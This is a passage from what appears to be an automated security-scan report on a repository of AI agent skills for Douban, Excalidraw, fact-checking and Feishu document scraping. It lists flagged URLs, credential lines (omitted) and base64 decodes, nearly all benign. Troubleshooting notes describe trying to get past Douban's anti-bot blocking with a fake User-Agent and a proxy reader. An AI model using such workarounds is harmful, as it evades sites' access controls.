    report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         register = ("register", self.study, "--catalog", self.catalog, "--report", report)
  • Network accessline 330
    report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 333
    self.assertEqual(self.cli(ASSETS, *register).returncode, 0)         self.assertEqual(len(self.catalog.read_text().splitlines()), 1)         self.assertEqual(self.source(url="https://example.org/lead", status="candidate").returncode, 0)
  • Network accessline 334
    self.assertEqual(len(self.catalog.read_text().splitlines()), 1)         self.assertEqual(self.source(url="https://example.org/lead", status="candidate").returncode, 0)         refreshed = self.cli(ASSETS, *register)
  • Network accessline 335
    self.assertEqual(self.source(url="https://example.org/lead", status="candidate").returncode, 0)
  • Network accessline 357
    receipt = json.loads((self.study / "prior-research.json").read_text())         self.assertEqual(receipt["catalog"], "../research-catalog.jsonl")         self.collect("https://example.org/report.pdf")
  • Network accessline 358
    self.assertEqual(receipt["catalog"], "../research-catalog.jsonl")         self.collect("https://example.org/report.pdf")         original = self.root / "report.pdf"
  • Network accessline 359
    self.collect("https://example.org/report.pdf")
  • Network accessline 363
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 364
    report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         self.assertEqual(self.cli(ASSETS, "register", self.study, "--catalog", self.catalog,
  • Network accessline 365
    report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 379
    def test_old_absolute_catalog_path_requires_verified_relink(self):         self.start()         self.collect("https://example.org/report.pdf")
  • Network accessline 380
    self.start()         self.collect("https://example.org/report.pdf")         original = self.root / "report.pdf"
  • Network accessline 381
    self.collect("https://example.org/report.pdf")
  • Network accessline 385
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 386
    report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         self.assertEqual(self.cli(ASSETS, "register", self.study, "--catalog", self.catalog,
  • Network accessline 387
    report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 441
    original = self.root / "report.pdf"         original.write_bytes(b"%PDF-example-source")         self.collect("https://example.org/report.pdf")
  • Network accessline 442
    original.write_bytes(b"%PDF-example-source")         self.collect("https://example.org/report.pdf")         self.assertEqual(self.source(file=original).returncode, 0)
  • Network accessline 443
    self.collect("https://example.org/report.pdf")
  • Network accessline 445
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 446
    report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         self.assertEqual(self.cli(ASSETS, "check", self.study, "--report", report).returncode, 0)
  • Network accessline 447
    report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 457
    "--catalog", self.catalog, "--query", "fund").returncode, 0)         next_report = next_dir / "report.md"         next_report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 458
    next_report = next_dir / "report.md"         next_report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         next_original = self.root / "next.pdf"
  • Network accessline 459
    next_report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 464
    "--file", self._next_provider_file(next_dir)).returncode, 0)         self.assertEqual(self.cli(ASSETS, "source", next_dir, "--url",                                   "https://example.org/report.pdf", "--title", "Official filing",
  • Network accessline 465
    self.assertEqual(self.cli(ASSETS, "source", next_dir, "--url",                                   "https://example.org/report.pdf", "--title", "Official filing",                                   "--status", "approved", "--source-type", "off
  • Network accessline 466
    "https://example.org/report.pdf", "--title", "Official filing",
  • Network accessline 479
    (self.study / "evidence.jsonl").write_text(json.dumps({             "id": "E01", "claim": "A rival has versioned research notes",             "source": "https://example.org/rival", "source_type": "vendor_documentation",
  • Network accessline 480
    "id": "E01", "claim": "A rival has versioned research notes",             "source": "https://example.org/rival", "source_type": "vendor_documentation",             "status": "verified",
  • Network accessline 481
    "source": "https://example.org/rival", "source_type": "vendor_documentation",
  • Network accessline 503
    def _next_provider_file(directory):         path = directory / "sources" / "official.md"         path.write_text("https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 504
    path = directory / "sources" / "official.md"         path.write_text("https://example.org/report.pdf", encoding="utf-8")         return path
  • Network accessline 505
    path.write_text("https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 509
    def finish_valid(self):         self.start()         self.collect("https://example.org/report.pdf")
  • Network accessline 510
    self.start()         self.collect("https://example.org/report.pdf")         original = self.root / "report.pdf"
  • Network accessline 511
    self.collect("https://example.org/report.pdf")
  • Network accessline 515
    self.assertEqual(self.claim().returncode, 0)         report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 516
    report = self.study / "report.md"         report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")         return report
  • Network accessline 517
    report.write_text("[C1] https://example.org/report.pdf", encoding="utf-8")
  • Network accessline 656
    self.collect("Provider report with selected evidence")         path = self.study / "evidence.jsonl"         item = {"claim": "Legacy filing observation", "source": "https://example.org/legacy"}
  • Network accessline 657
    path = self.study / "evidence.jsonl"         item = {"claim": "Legacy filing observation", "source": "https://example.org/legacy"}         path.write_text(json.dumps(item) + "\n")
  • Network accessline 658
    item = {"claim": "Legacy filing observation", "source": "https://example.org/legacy"}

douban-skill/SKILL.md

  • Access to secretsline 21
    [Credential-related source omitted]

douban-skill/references/troubleshooting.md

  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 121
    **What happened:** HTTP 302 redirect to `https://www.douban.com/misc/sorry?original-url=...`
  • Network accessline 128
    **What we tried:** `curl -s "https://r.jina.ai/https://book.douban.com/people/<user_id>/collect"`
  • Network accessline 167
    **Status:** User rejected the command before it ran — based on prior failures, it would hit the same PoW blocking. The script uses `fetch()` with a fake User-Agent, which is exactly
  • Network accessline 168
    the same PoW blocking. The script uses `fetch()` with a fake User-Agent, which is exactly
  • Network accessline 186
    - Greasemonkey/Tampermonkey: `https://greasyfork.org/en/scripts/420999`
  • Network accessline 193
    - Paste `fetch()`-based extraction script into browser DevTools console
  • Network accessline 202
    GET https://frodo.douban.com/api/v2/user/{user_id}/interests
  • Network accessline 227
    "id": "36116375",         "title": "书名",         "url": "https://book.douban.com/subject/36116375/",
  • Network accessline 228
    "title": "书名",         "url": "https://book.douban.com/subject/36116375/",         "rating": {"value": 7.8, "max": 10, "count": 14}
  • Network accessline 229
    "url": "https://book.douban.com/subject/36116375/",

douban-skill/scripts/douban-frodo-export.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 38
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 39
    [Credential-related source omitted]
  • Network accessline 40
    BASE_URL = 'https://frodo.douban.com'
  • Network accessline 70
    URL_PREFIX = {     'book':  'https://book.douban.com/subject/',
  • Network accessline 71
    'book':  'https://book.douban.com/subject/',
  • Network accessline 72
    'movie': 'https://movie.douban.com/subject/',
  • Network accessline 73
    'music': 'https://music.douban.com/subject/',
  • Network accessline 74
    'game':  'https://www.douban.com/game/',
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Network accessline 115
    query = urllib.parse.urlencode(params)     full_url = f'{url}?{query}'     req = urllib.request.Request(full_url, headers={'User-Agent': USER_AGENT})
  • Network accessline 116
    full_url = f'{url}?{query}'     req = urllib.request.Request(full_url, headers={'User-Agent': USER_AGENT})     try:
  • Network accessline 117
    req = urllib.request.Request(full_url, headers={'User-Agent': USER_AGENT})
  • Network accessline 118
    try:         with urllib.request.urlopen(req, timeout=15) as resp:             return json.loads(resp.read().decode('utf-8')), resp.status
  • Network accessline 119
    with urllib.request.urlopen(req, timeout=15) as resp:
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]
  • Network accessline 240
    subject = interest.get('subject', {})     sid = subject.get('id', '')     prefix = URL_PREFIX.get(type_name, 'https://www.douban.com/subject/')
  • Network accessline 241
    sid = subject.get('id', '')     prefix = URL_PREFIX.get(type_name, 'https://www.douban.com/subject/')     url = f'{prefix}{sid}/' if sid else subject.get('url', '')
  • Network accessline 242
    prefix = URL_PREFIX.get(type_name, 'https://www.douban.com/subject/')
  • Access to secretsline 267
    [Credential-related source omitted]

douban-skill/scripts/douban-rss-sync.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 25
    // Extract ID from full URL if provided (e.g., https://www.douban.com/people/foo/)
  • Network accessline 38
    const DOUBAN_OUTPUT_DIR = path.join(BASE_DIR, DOUBAN_USER); const STATE_FILE = path.join(DOUBAN_OUTPUT_DIR, '.douban-rss-state.json'); const RSS_URL = `https://www.douban.com/feed/people/${DOUBAN_USER}/interests`;
  • Network accessline 40
    const RSS_URL = `https://www.douban.com/feed/people/${DOUBAN_USER}/interests`;

download-gemini-images/SKILL.md

  • Access to secretsline 64
    [Credential-related source omitted]

download-gemini-images/scripts/download_gemini_images.mjs

  • Executable scriptline 1
    Executable file

download-gemini-images/scripts/package_images.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 35
    rm -f "$zip_path"

excalidraw-use/SKILL.md

  • Network accessline 96
    node scripts/shoot_deck.mjs \   --index <deck>/src/slides/index.ts \   --url http://127.0.0.1:8080/index.html \
  • Network accessline 97
    --index <deck>/src/slides/index.ts \   --url http://127.0.0.1:8080/index.html \   --out shots/ \
  • Network accessline 98
    --url http://127.0.0.1:8080/index.html \

excalidraw-use/references/scene_file_format.md

  • Network accessline 8
    Official reference: <https://docs.excalidraw.com/docs/codebase/json-schema>
  • Network accessline 14
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 15
    "version": 2,   "source": "https://excalidraw.com",   "elements": [ ... ],
  • Network accessline 16
    "source": "https://excalidraw.com",

excalidraw-use/scripts/build_scene.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 159
    out.parent.mkdir(parents=True, exist_ok=True)     out.write_text(json.dumps({         "type": "excalidraw", "version": 2, "source": "https://excalidraw.com",
  • Network accessline 160
    out.write_text(json.dumps({         "type": "excalidraw", "version": 2, "source": "https://excalidraw.com",         "elements": elements,
  • Network accessline 161
    "type": "excalidraw", "version": 2, "source": "https://excalidraw.com",
  • Possible obfuscationline 191
    raw = base64.b64decode(scene["files"][fid]["dataURL"].split(",", 1)[1])

excalidraw-use/scripts/inspect_scene.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 74
    raw = base64.b64decode(f["dataURL"].split(",", 1)[1])

excalidraw-use/scripts/shoot_deck.mjs

  • Executable scriptline 1
    #!/usr/bin/env node

excalidraw-use/scripts/split_scene.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 57
    out.write_text(json.dumps({             "type": "excalidraw", "version": 2,             "source": scene.get("source", "https://excalidraw.com"),
  • Network accessline 58
    "type": "excalidraw", "version": 2,             "source": scene.get("source", "https://excalidraw.com"),             "elements": part,
  • Network accessline 59
    "source": scene.get("source", "https://excalidraw.com"),
  • Possible obfuscationline 82
    raw = base64.b64decode(back["files"][fid]["dataURL"].split(",", 1)[1])

fact-checker/README.md

  • Network accessline 188
    Issues and pull requests welcome at [daymade/claude-code-skills](https://github.com/daymade/claude-code-skills)

fact-checker/SKILL.md

  • Network accessline 104
    **Current claim:** "Claude 3.5 Sonnet: 200K tokens" **Correction:** "Claude Sonnet 4.5: 200K tokens" **Source:** https://platform.claude.com/docs/en/build-with-claude/context-windows
  • Network accessline 105
    **Correction:** "Claude Sonnet 4.5: 200K tokens" **Source:** https://platform.claude.com/docs/en/build-with-claude/context-windows **Rationale:** Claude 3.5 Sonnet has been superseded by Claude Sonnet 4.5 (released Sept 2025)
  • Network accessline 106
    **Source:** https://platform.claude.com/docs/en/build-with-claude/context-windows
  • Network accessline 111
    **Current claim:** "GPT-4o: 128K tokens" **Correction:** "GPT-5.2: 400K tokens" **Source:** https://openai.com/index/introducing-gpt-5-2/
  • Network accessline 112
    **Correction:** "GPT-5.2: 400K tokens" **Source:** https://openai.com/index/introducing-gpt-5-2/ **Rationale:** 128K was output limit; context window is 400K. Model also updated to GPT-5.2
  • Network accessline 113
    **Source:** https://openai.com/index/introducing-gpt-5-2/

feishu-doc-scraper/SKILL.md

  • Network accessline 185
    [Credential-related source omitted]
  • Network accessline 186
    - **Never equate "downloaded" with "belongs in Git/LFS."** Raw video, Office files, PDFs, and images default to the Feishu original plus a stable locator; the local file is a cache. Git stores structured/searchable derivatives and provenanc
  • Network accessline 187
    - **HTTP 200 from anonymous curl ≠ accessible.** A Feishu login wall returns 200 with a body containing `accounts.feishu.cn` / `login` / `passport` / an empty `<title>`. Check the body, never infer "public" from the status code.
  • Network accessline 211
    - Bypassing `131006` permission-denied by any means (lark-cli / curl / anonymous browser) — it is a server-side boundary.

feishu-doc-scraper/references/archive-storage-contract.md

  • Network accessline 40
    "locator": {     "system": "feishu",     "source_url": "https://example.feishu.cn/wiki/<node-token>",
  • Network accessline 41
    [Credential-related source omitted]
  • Network accessline 42
    "source_url": "https://example.feishu.cn/wiki/<node-token>",
  • Network accessline 100
    "account": "archive-user",     "path": "Downloads/course-video.webm",     "source_url": "https://www.youtube.com/watch?v=BaW_jenozKc"
  • Network accessline 101
    "path": "Downloads/course-video.webm",     "source_url": "https://www.youtube.com/watch?v=BaW_jenozKc"   },
  • Network accessline 102
    "source_url": "https://www.youtube.com/watch?v=BaW_jenozKc"
  • Network accessline 136
    "locator": {     "system": "feishu",     "source_url": "https://example.feishu.cn/wiki/<node-token>",
  • Network accessline 137
    [Credential-related source omitted]
  • Network accessline 138
    "source_url": "https://example.feishu.cn/wiki/<node-token>",

feishu-doc-scraper/references/attachment-archives.md

  • Network accessline 24
    python3 <skill-dir>/scripts/archive_attachments.py <capture.json> \   --source 'https://example.feishu.cn/wiki/<node-token>' \
  • Network accessline 25
    --source 'https://example.feishu.cn/wiki/<node-token>' \

feishu-doc-scraper/references/browser-dom-fallback.md

  • Network accessline 48
    It handles, in one pass: TOC-driven section capture (click TOC item → wait ~2.5s → capture all `.block`s between this heading and the next), nested-bullet recursion, table extraction (skipping blocks *inside* tables so cells don't leak as d

feishu-doc-scraper/references/browser-failure-rules.md

  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 77
    - during capture, download every image via `fetch(src, { credentials: 'include' })` while the session is alive
  • Network accessline 128
    python3 scripts/download_feishu_images.py \   --url "https://my.feishu.cn/wiki/..." \
  • Network accessline 129
    --url "https://my.feishu.cn/wiki/..." \
  • Network accessline 142
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } resp = requests.get(url, cookies=cj, headers=headers, timeout=30)
  • Network accessline 143
    } resp = requests.get(url, cookies=cj, headers=headers, timeout=30) image_urls = re.findall(
  • Network accessline 144
    resp = requests.get(url, cookies=cj, headers=headers, timeout=30)
  • Network accessline 149
    # Download each with session cookies for i, img_url in enumerate(image_urls):     img_resp = requests.get(
  • Network accessline 150
    for i, img_url in enumerate(image_urls):     img_resp = requests.get(         img_url, cookies=cj,
  • Network accessline 151
    img_resp = requests.get(
  • Network accessline 152
    img_url, cookies=cj,         headers={'Referer': 'https://my.feishu.cn/'},         timeout=30
  • Network accessline 153
    headers={'Referer': 'https://my.feishu.cn/'},

feishu-doc-scraper/references/capture-manifest.md

  • Network accessline 10
    {   "title": "Document title",   "source": "https://example.feishu.cn/wiki/...",
  • Network accessline 11
    "title": "Document title",   "source": "https://example.feishu.cn/wiki/...",   "author": ["Author A", "Author B"],
  • Network accessline 12
    "source": "https://example.feishu.cn/wiki/...",

feishu-doc-scraper/references/feishu-minutes-transcript.md

  • Network accessline 47
    GET https://open.feishu.cn/open-apis/minutes/v1/minutes/:minute_token/transcript
  • Network accessline 98
    > Spec lookups: use `https://open.feishu.cn/llms-docs/zh-CN/llms-minutes.txt` (stable, LLM-friendly). `WebFetch` against `open.feishu.cn/document/server-docs/...` is flaky. If lark-cli has no wrapper for something, the `lark-openapi-explore

feishu-doc-scraper/references/lark-cli-api-extraction.md

  • Network accessline 39
    [lark-cli] [WARN] proxy detected: https_proxy=http://127.0.0.1:1082 — requests
  • Network accessline 53
    | `…/base/<token>` | Bitable | installed `lark-base` guide (table-list / records) — never `docs +fetch` a bitable (see Step 5 dispatch) | | `…/file/<token>` | file attachment | installed `lark-drive` download guide (see Step 5 dispatch) | |
  • Network accessline 55
    | `https://<anything>.feishu.cn/docx/…`, `https://<anything>.larkoffice.com/docx/…` or `https://my.feishu.cn/docx/…` | cross-tenant / personal space | Step 6 (same fetch, permission is per-doc) |
  • Network accessline 133
    lark-cli api GET "/open-apis/drive/v1/medias/batch_get_tmp_download_url" \   --params '{"file_tokens":["TOKEN1","TOKEN2"]}' # → per-token tmp_download_url (valid ~24h) → curl each to disk
  • Network accessline 134
    --params '{"file_tokens":["TOKEN1","TOKEN2"]}' # → per-token tmp_download_url (valid ~24h) → curl each to disk # Feishu CDN is a domestic (CN) service: bypass any local HTTP proxy when curling.
  • Network accessline 135
    # → per-token tmp_download_url (valid ~24h) → curl each to disk
  • Network accessline 172
    The references it recognizes (the full rich-media inventory): `<mention-doc token type>`, `<sheet token>`, `<lark-table><lark-tr><lark-td>` (inline tables — render in place, not a reference), `<image token>`, `<whiteboard token>` (inline di
  • Network accessline 203
    `https://<other-tenant>.feishu.cn/docx/…` and `https://my.feishu.cn/docx/…` (personal space) use the **same** `docs +fetch` — Feishu permission is per-document, not per-domain. A reference living in another tenant or someone's personal spac

feishu-doc-scraper/references/original-media-and-reader.md

  • Network accessline 60
    cross-host redirects carrying browser credentials. It accepts only exact HTTP 206 ranges with matching `Content-Range` and byte counts, following [HTTP range semantics](https://www.rfc-editor.org/rfc/rfc9110.html#name-range).
  • Network accessline 61
    206 ranges with matching `Content-Range` and byte counts, following [HTTP range semantics](https://www.rfc-editor.org/rfc/rfc9110.html#name-range). It never accelerates, transcodes, uploads or chooses durable storage. Record the
  • Network accessline 62
    [HTTP range semantics](https://www.rfc-editor.org/rfc/rfc9110.html#name-range).
  • Network accessline 110
    Native embedding follows [Obsidian's embed contract](https://obsidian.md/help/embeds).

feishu-doc-scraper/references/permission-and-failure-boundaries.md

  • Network accessline 40
    | docx image: same with `--params '{"extra":"{\"drive_route_token\":\"<doc>\"}"}'` | empty / fails | the `extra` format lark-cli passes is not what the endpoint needs; lark-cli does not wrap this correctly | | docx image: `lark-cli schema d
  • Network accessline 41
    | docx image: `lark-cli schema drive.medias.download` (and `.media.`, `.batch_get_tmp_download_url`) | `Unknown resource` | not in lark-cli's schema registry | | docx image: `lark-cli api … --dry-run` then raw `curl` | `--dry-run` returns m
  • Network accessline 42
    | docx image: `lark-cli api … --dry-run` then raw `curl` | `--dry-run` returns method/url/appId/as but **not** the Bearer token → curl authenticates as nobody → real `HTTP/2 400` | lark-cli intentionally does not expose the token; the curl-
  • Network accessline 43
    | Read the downloaded image bytes to "check" them | `This tool cannot read binary files` | — | | `WebFetch https://open.feishu.cn/document/server-docs/...` for an API spec | backend flaps, often fails | use `open.feishu.cn/llms-docs/zh-CN/l
  • Network accessline 44
    | `WebFetch https://open.feishu.cn/document/server-docs/...` for an API spec | backend flaps, often fails | use `open.feishu.cn/llms-docs/zh-CN/llms-<module>.txt` instead |
  • Network accessline 46
    | JXA `executeJavaScript` with async/Promise | `Can't convert types. (-1700)` | JXA cannot convert JS Promises to AppleScript types | | JXA with `ObjC.import` / shebang / `includeStandardAdditions` | syntax errors (`-2741`) | unsupported in
  • Network accessline 47
    | JXA with `ObjC.import` / shebang / `includeStandardAdditions` | syntax errors (`-2741`) | unsupported in this JXA-in-Chrome context | | Chrome DevTools CDP on `:9222` | `curl :9222/json/list` → `[]` or 404 | CDP endpoints empty even with 
  • Network accessline 48
    | Chrome DevTools CDP on `:9222` | `curl :9222/json/list` → `[]` or 404 | CDP endpoints empty even with the flag (profile/policy) |

feishu-doc-scraper/scripts/archive_attachments.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 180
    [Credential-related source omitted]

feishu-doc-scraper/scripts/build_feishu_markdown.py

  • Executable scriptline 1
    #!/usr/bin/env python3

feishu-doc-scraper/scripts/build_manual_catalog.py

  • Executable scriptline 1
    #!/usr/bin/env python3

feishu-doc-scraper/scripts/check_archive_storage.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 43
    FEISHU_HOST_SUFFIXES = ("feishu.cn", "larkoffice.com", "larksuite.com") FEISHU_LOCATOR_URL_RE = re.compile(     r"^https://[A-Za-z0-9.-]+\.(?:"
  • Network accessline 44
    FEISHU_LOCATOR_URL_RE = re.compile(     r"^https://[A-Za-z0-9.-]+\.(?:"     + "|".join(re.escape(host) for host in FEISHU_HOST_SUFFIXES)
  • Network accessline 45
    r"^https://[A-Za-z0-9.-]+\.(?:"

feishu-doc-scraper/scripts/check_heading_coverage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

feishu-doc-scraper/scripts/check_reader_delivery.py

  • Executable scriptline 1
    #!/usr/bin/env python3

feishu-doc-scraper/scripts/download_feishu_images.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 11
    Usage (single document):     python3 download_feishu_images.py \         --url "https://my.feishu.cn/wiki/..." \
  • Network accessline 12
    python3 download_feishu_images.py          --url "https://my.feishu.cn/wiki/..."
  • Network accessline 13
    --url "https://my.feishu.cn/wiki/..." \
  • Network accessline 22
    The urls.txt format (one per line, optional doc-name prefix):     my-document|https://my.feishu.cn/wiki/...
  • Network accessline 23
    my-document|https://my.feishu.cn/wiki/...
  • Network accessline 24
    another-doc|https://my.feishu.cn/wiki/...
  • Network accessline 80
    headers = {"Referer": referer}     resp = requests.get(url, cookies=cookies, headers=headers, timeout=30)
  • Network accessline 81
    resp = requests.get(url, cookies=cookies, headers=headers, timeout=30)
  • Network accessline 119
    try:         resp = requests.get(url, cookies=cookies, headers=DEFAULT_HEADERS, timeout=30)
  • Network accessline 120
    resp = requests.get(url, cookies=cookies, headers=DEFAULT_HEADERS, timeout=30)

feishu-doc-scraper/scripts/download_original_preview.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 151
    headers = {**spec['headers'], 'Range': f'bytes={lo}-{hi}', 'Accept-Encoding': 'identity'}                 opener = urllib.request.build_opener(urllib.request.ProxyHandler({}), FeishuRedirect())                 request = urllib.request.Reque
  • Network accessline 152
    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}), FeishuRedirect())                 request = urllib.request.Request(spec['url'], headers=headers)                 with opener.open(request, timeout=60) as r:
  • Network accessline 153
    request = urllib.request.Request(spec['url'], headers=headers)

feishu-doc-scraper/scripts/feishu_dom_capture.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 53
    return result.replace(/[<U+200B><U+FEFF>]/g, '');
  • Possible obfuscationline 88
    .map(c => (c.innerText || '').replace(/[<U+200B><U+FEFF>\n]/g, ' ').trim());
  • Possible obfuscationline 110
    const text = (block.innerText || '').replace(/[<U+200B><U+FEFF>]/g, '').trim();
  • Network accessline 177
    if (src.startsWith('blob:') || src.startsWith('data:')) continue;       try {         const resp = await fetch(src, { credentials: 'include' });
  • Network accessline 178
    try {         const resp = await fetch(src, { credentials: 'include' });         if (!resp.ok) { downloaded.push({ i, src: src.substring(0, 80), ok: false }); continue; }
  • Network accessline 179
    const resp = await fetch(src, { credentials: 'include' });

feishu-doc-scraper/scripts/feishu_extract_refs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    #   <img id="..." name="filename.jpeg" alt="<long AI-generated description>" #        height="1920" href="https://internal-api-drive-stream.feishu.cn/..." #        mime="image/jpeg" scale="0.288889" src="<MEDIA_TOKEN>"
  • Network accessline 104
    #        height="1920" href="https://internal-api-drive-stream.feishu.cn/..."
  • Network accessline 180
    RE_FEISHU_URL = re.compile(     r"https://(" + _HOST + r")/(docx|wiki|sheets|base|file|minutes)/([A-Za-z0-9]+)"
  • Network accessline 181
    r"https://(" + _HOST + r")/(docx|wiki|sheets|base|file|minutes)/([A-Za-z0-9]+)"
  • Network accessline 182
    ) RE_TENCENT_MEETING = re.compile(     r"https://meeting\.tencent\.com/crm/([A-Za-z0-9]+)"
  • Network accessline 183
    RE_TENCENT_MEETING = re.compile(     r"https://meeting\.tencent\.com/crm/([A-Za-z0-9]+)" )
  • Network accessline 184
    r"https://meeting\.tencent\.com/crm/([A-Za-z0-9]+)"
  • Network accessline 351
    refs.append({             "type": kind,             "ref": f"https://{host}/{seg}/{token}",
  • Network accessline 352
    "type": kind,             "ref": f"https://{host}/{seg}/{token}",             "title": "",
  • Network accessline 353
    "ref": f"https://{host}/{seg}/{token}",
  • Network accessline 359
    refs.append({             "type": "tencent-meeting",             "ref": f"https://meeting.tencent.com/crm/{mid}",
  • Network accessline 360
    "type": "tencent-meeting",             "ref": f"https://meeting.tencent.com/crm/{mid}",             "title": "",
  • Network accessline 361
    "ref": f"https://meeting.tencent.com/crm/{mid}",

feishu-doc-scraper/scripts/fetch_comments.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 55
    seen = set()     for _ in range(max_pages):         page = fetch(token)
  • Network accessline 56
    for _ in range(max_pages):         page = fetch(token)         raw_pages.append(page)
  • Network accessline 57
    page = fetch(token)

feishu-doc-scraper/scripts/render_api_capture.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 138
    [Credential-related source omitted]
  • Network accessline 139
    return match.group()  # Keep unsupported reference in the prepared source worklist.         url = f'https://{origin.hostname}/{kind}/{urllib.parse.quote(token, safe="")}'         return f'<a href="{html.escape(url, quote=True)}">{html.escap
  • Network accessline 140
    url = f'https://{origin.hostname}/{kind}/{urllib.parse.quote(token, safe="")}'

feishu-doc-scraper/scripts/restore_docx_headings.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 54
    _ZERO_WIDTH = "<U+200B><U+200C><U+200D><U+FEFF>"

feishu-doc-scraper/tests/test_archive_storage.py

  • Executable scriptline 1
    Executable file
  • Network accessline 28
    "system": "feishu",                         "source_url": (                             "https://example.feishu.cn/wiki/"
  • Network accessline 29
    "source_url": (                             "https://example.feishu.cn/wiki/"                             "AbCdEfGhIjKlMnOpQrStUvWxYz1"
  • Network accessline 30
    "https://example.feishu.cn/wiki/"
  • Network accessline 43
    "locator": {"system": "nas", "device": "synthetic-nas-001",                             "account": "archive-user", "path": "Downloads/course name.webm",                             "source_url": "https://www.youtube.com/watch?v=BaW_jenozKc"
  • Network accessline 44
    "account": "archive-user", "path": "Downloads/course name.webm",                             "source_url": "https://www.youtube.com/watch?v=BaW_jenozKc"},                 "cache_path": "media/course name.webm", "bytes": 123,
  • Network accessline 45
    "source_url": "https://www.youtube.com/watch?v=BaW_jenozKc"},
  • Network accessline 53
    alias = {**row, "locator": {**row["locator"], "source_url": "https://youtu.be/BaW_jenozKc"}}
  • Network accessline 72
    row = self.nas_row(); row["locator"]["path"] = value             self.assertTrue(MODULE.validate_manifest({"files": [row]}), value)         for value in ("file:///private/clip.webm", "https://user:password@example.org/video",
  • Network accessline 73
    self.assertTrue(MODULE.validate_manifest({"files": [row]}), value)         for value in ("file:///private/clip.webm", "https://user:password@example.org/video",                       "https://example.org/video#fragment", "https://[bad/video
  • Network accessline 74
    for value in ("file:///private/clip.webm", "https://user:password@example.org/video",
  • Network accessline 75
    "https://example.org/video#fragment", "https://[bad/video"):
  • Network accessline 109
    "system": "feishu",                             "source_url": (                                 "https://example.feishu.cn/wiki/"
  • Network accessline 110
    "source_url": (                                 "https://example.feishu.cn/wiki/"                                 "AbCdEfGhIjKlMnOpQrStUvWxYz1"
  • Network accessline 111
    "https://example.feishu.cn/wiki/"
  • Network accessline 233
    [Credential-related source omitted]
  • Network accessline 234
    "source_url": (                                 "https://example.feishu.cn/wiki/"                                 "AbCdEfGhIjKlMnOpQrStUvWxYz1"
  • Network accessline 235
    "https://example.feishu.cn/wiki/"
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    "source_url": (                             "https://example.larkoffice.com/minutes/"                             "MinuteTokenAbCdEfGhIjKlMnOp"
  • Network accessline 255
    "https://example.larkoffice.com/minutes/"
  • Network accessline 274
    [Credential-related source omitted]
  • Network accessline 275
    "source_url": (                             "https://example.feishu.cn/wiki/"                             "AbCdEfGhIjKlMnOpQrStUvWxYz1"
  • Network accessline 276
    "https://example.feishu.cn/wiki/"
  • Network accessline 293
    [Credential-related source omitted]
  • Network accessline 294
    "source_url": (                             "https://example.feishu.cn/wiki/"                             "AbCdEfGhIjKlMnOpQrStUvWxYz1"
  • Network accessline 295
    "https://example.feishu.cn/wiki/"

feishu-doc-scraper/tests/test_attachment_archives.py

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    SOURCE = 'https://example.feishu.cn/wiki/SyntheticDocumentToken12345'

feishu-doc-scraper/tests/test_build_manual_catalog.py

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    def write_note(root: Path, key: str, host: str, name: str | None = None) -> None:     source = f"https://{host}/wiki/AbCdEfGhIjKlMnOpQrStUv"
  • Network accessline 20
    source = f"https://{host}/wiki/AbCdEfGhIjKlMnOpQrStUv"
  • Network accessline 92
